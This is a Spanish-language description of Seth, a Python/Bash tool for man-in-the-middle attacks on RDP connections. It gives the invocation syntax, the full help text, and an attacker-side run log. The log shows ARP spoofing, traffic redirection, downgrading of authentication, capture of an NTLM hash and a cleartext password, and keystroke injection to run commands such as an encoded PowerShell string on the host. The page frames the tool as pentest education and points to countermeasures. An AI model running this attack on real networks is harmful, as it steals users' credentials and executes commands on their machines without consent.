
Realizar un ataque MitM y extraer credenciales en texto claro de conexiones RDP
Seth es una herramienta escrita en Python y Bash para realizar MitM en conexiones RDP, intentando degradar la conexión para extraer credenciales en texto claro. Fue desarrollada para concienciar y educar sobre la importancia de conexiones RDP correctamente configuradas en el contexto de pentests, talleres o charlas. El autor es Adrian Vollmer (SySS GmbH).
Ejecútalo así:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
A menos que el host RDP esté en la misma subred que la máquina víctima, la última dirección IP debe ser la del gateway.
El último parámetro es opcional. Puede contener un comando que se ejecuta en el host RDP simulando WIN+R mediante inyección de eventos de tecla. La inyección de teclas depende de la distribución de teclado que esté usando la víctima; actualmente solo es fiable con la distribución de teclado inglés de EE. UU. Sugiero evitar caracteres especiales usando powershell -enc <STRING>, donde STRING es tu comando codificado en UTF-16le y Base64. Sin embargo, calc debería ser bastante universal y cumple el objetivo.
El script de shell realiza suplantación ARP para obtener una posición de hombre en el medio y redirige el tráfico para que pase a través de un proxy RDP. El proxy se puede llamar por separado. Esto puede ser útil si quieres usar Seth en combinación con Responder. Usa Responder para obtener una posición de hombre en el medio y ejecuta Seth al mismo tiempo. Ejecuta seth.py -h para más información:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
Para más información, lee el PDF en doc/paper (¡o lee el código!). El documento también contiene recomendaciones para contramedidas.
También puedes ver una presentación de veinte minutos que incluye una demo (comenzando en el minuto 14:00) en Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
O ver solo la demo (con subtítulos) aquí: https://www.youtube.com/watch?v=JvvxTNrKV-s
La siguiente salida muestra la vista del atacante. Seth captura un hash crackeable fuera de línea, así como la contraseña en texto claro. Aquí, NLA no está impuesto y la víctima ignoró la advertencia del certificado.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof es parte de dsniff
openssl
Úsalo bajo tu propio riesgo. No lo uses sin el consentimiento total de todos los involucrados. Solo con fines educativos.